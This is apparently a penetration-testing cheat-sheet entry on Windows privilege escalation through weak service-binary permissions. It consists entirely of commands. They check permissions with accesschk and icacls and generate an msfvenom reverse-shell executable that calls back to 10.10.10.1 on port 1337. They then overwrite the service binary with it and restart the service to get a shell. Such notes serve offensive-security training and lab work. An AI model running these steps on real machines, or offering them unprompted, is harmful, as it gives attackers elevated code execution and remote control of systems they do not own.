Weak Permissions on Service Binary

Check Service Permission

.\accesschk64.exe /accepteula -uwcqv ServiceName 

icacls.exe .\ServiceBinary.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.1 LPORT=1337 -f exe -o malicious.exe
cp .\simpleService.exe .\simpleService.exe.bkp
cp .\malicious.exe .\simpleService.exe
sc.exe stop SimpleService
sc.exe start SimpleService